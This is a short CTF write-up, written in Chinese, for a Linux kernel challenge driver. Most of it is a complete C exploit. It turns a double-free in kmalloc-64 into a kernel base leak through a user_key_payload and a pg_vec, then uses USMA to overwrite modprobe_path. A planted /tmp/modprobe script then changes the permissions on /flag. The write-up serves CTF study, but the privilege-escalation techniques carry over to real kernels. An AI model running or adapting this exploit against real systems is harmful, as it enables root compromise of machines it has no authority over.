kmalloc-64 delete两次 edit一次
利用:delete一次后先用key_user_payload占住,再delete一次,然后用pg_vec占,其中正好datalen被覆盖成一个大数,越界读泄露堆上的基址
之后利用一次edit,改写pg_vec数组中映射给用户空间的虚拟地址,打USMA,再改写modprobe_path修改flag权限
exp
#define _GNU_SOURCE #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <sys/syscall.h> #include <sched.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #include <sys/mman.h> #include <sys/socket.h> #include <linux/keyctl.h> #include <string.h> #include <stdlib.h> #include <sys/ioctl.h> #define COLOR_GREEN "\033[32m" #define COLOR_RED "\033[31m" #define COLOR_YELLOW "\033[33m" #define COLOR_DEFAULT "\033[0m" #define logd(fmt, ...) dprintf(2, "[*] %s[ccb 2024 NFS_KUAF](ccb%202024%20NFS_KUAF.md):%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__) #define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__) #define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__) #define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__) #define die(fmt, ...) \ do \ { \ loge(fmt, ##__VA_ARGS__); \ loge("Exit at line %d", __LINE__); \ exit(1); \ } while (0) void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); logi("Process binded to core %d", core); } int fd = 0; u_int64_t heap_addr = 0, kbase_addr = 0; typedef struct edit { char *content; } edit_arg; void add(char *content) { edit_arg tmp = { .content = content, }; ioctl(fd, 0x20, &tmp); } void edit(char *content) { edit_arg tmp = { .content = content, }; ioctl(fd, 0x50, &tmp); } void delete(char *content) { edit_arg tmp = { .content = content, }; ioctl(fd, 0x30, &tmp); } void unshare_setup() { int temp_fd; uid_t uid = getuid(); gid_t gid = getgid(); char buffer[0x100]; if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET)) { die("unshare(CLONE_NEWUSER | CLONE_NEWNS)"); } temp_fd = open("/proc/self/setgroups", O_WRONLY); write(temp_fd, "deny", strlen("deny")); close(temp_fd); temp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(buffer, sizeof(buffer), "0 %d 1", uid); write(temp_fd, buffer, strlen(buffer)); close(temp_fd); temp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(buffer, sizeof(buffer), "0 %d 1", gid); write(temp_fd, buffer, strlen(buffer)); close(temp_fd); return; } int create_socket_and_alloc_pages(unsigned int size, unsigned int nr) { struct tpacket_req req; int socket_fd, version; int ret; socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (socket_fd < 0) { printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n"); ret = socket_fd; goto err_out; } version = TPACKET_V1; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)); if (ret < 0) { die("[x] failed at setsockopt(PACKET_VERSION)\n"); goto err_setsockopt; } memset(&req, 0, sizeof(req)); req.tp_block_size = size; req.tp_block_nr = nr; req.tp_frame_size = 0x1000; req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)); if (ret < 0) { die("[x] failed at setsockopt(PACKET_TX_RING)\n"); goto err_setsockopt; } return socket_fd; err_setsockopt: close(socket_fd); err_out: return ret; } int packet_socket_setup(uint32_t block_size, uint32_t frame_size, uint32_t block_nr, uint32_t sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { perror("[-] socket (AF_PACKET)"); exit(1); } int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) { perror("[-] setsockopt (PACKET_VERSION)"); exit(1); } struct tpacket_req3 req3; memset(&req3, 0, sizeof(req3)); req3.tp_sizeof_priv = sizeof_priv; req3.tp_block_nr = block_nr; req3.tp_block_size = block_size; req3.tp_frame_size = frame_size; req3.tp_frame_nr = (block_size * block_nr) / frame_size; req3.tp_retire_blk_tov = timeout; req3.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3)); if (rv < 0) { perror("[-] setsockopt (PACKET_RX_RING)"); exit(1); } struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_halen = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) { perror("[-] bind (AF_PACKET)"); exit(1); } return s; } int key_alloc(char *description, char *payload, size_t plen) { return syscall(__NR_add_key, "user", description, payload, plen, KEY_SPEC_PROCESS_KEYRING); } int key_read(int keyid, char *buffer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen); } int key_unlink(int keyid) { return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING); } char page_tmp[0x10000]; void main() { char tmpbuf[0x38]; char tmp[0x28]; char payload[0x10]; int key_id[0x50]; bind_core(0); unshare_setup(); fd = open("/dev/ker", O_RDONLY); if (fd < 0) { die("opne /dev/ker error"); } add(tmp); delete (tmp); key_id[0] = key_alloc(tmp, payload, 0x10); delete (tmp); int block_nr = 0x28 / 0x8; // count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8 // 第一个参数 block_size/4096 为要分配的 order int packet_fds = packet_socket_setup(0x1000, 0x800, block_nr, 0, 1000); key_read(key_id[0], page_tmp, 0xf000); size_t ptr = page_tmp; while (kbase_addr == 0) { u_int64_t tmp = *(size_t *)ptr; if ((tmp & 0xfff) == 0x1d0 && tmp > 0xFFFFFFFF00000000) { kbase_addr = tmp - 0x17741d0; } ptr += 8; if (ptr == page_tmp + 0xf000) { die("error"); } } logi("kbase_addr :0x%llx", kbase_addr); logi("offset :0x%llx", (size_t *)ptr-(size_t *)page_tmp); *(size_t *)tmp = kbase_addr + 0xffffffff831d8000-0xffffffff81000000; // a76 edit(tmp); char *page = mmap(NULL, 0x1000 * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0); if (page < 0) { die("page"); } memcpy(page + 0xce0, "/tmp/modprobe", 14); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/modprobe"); system("chmod +x /tmp/modprobe"); system("chmod +x /tmp/dummy"); system("/tmp/dummy"); system("cat /flag"); }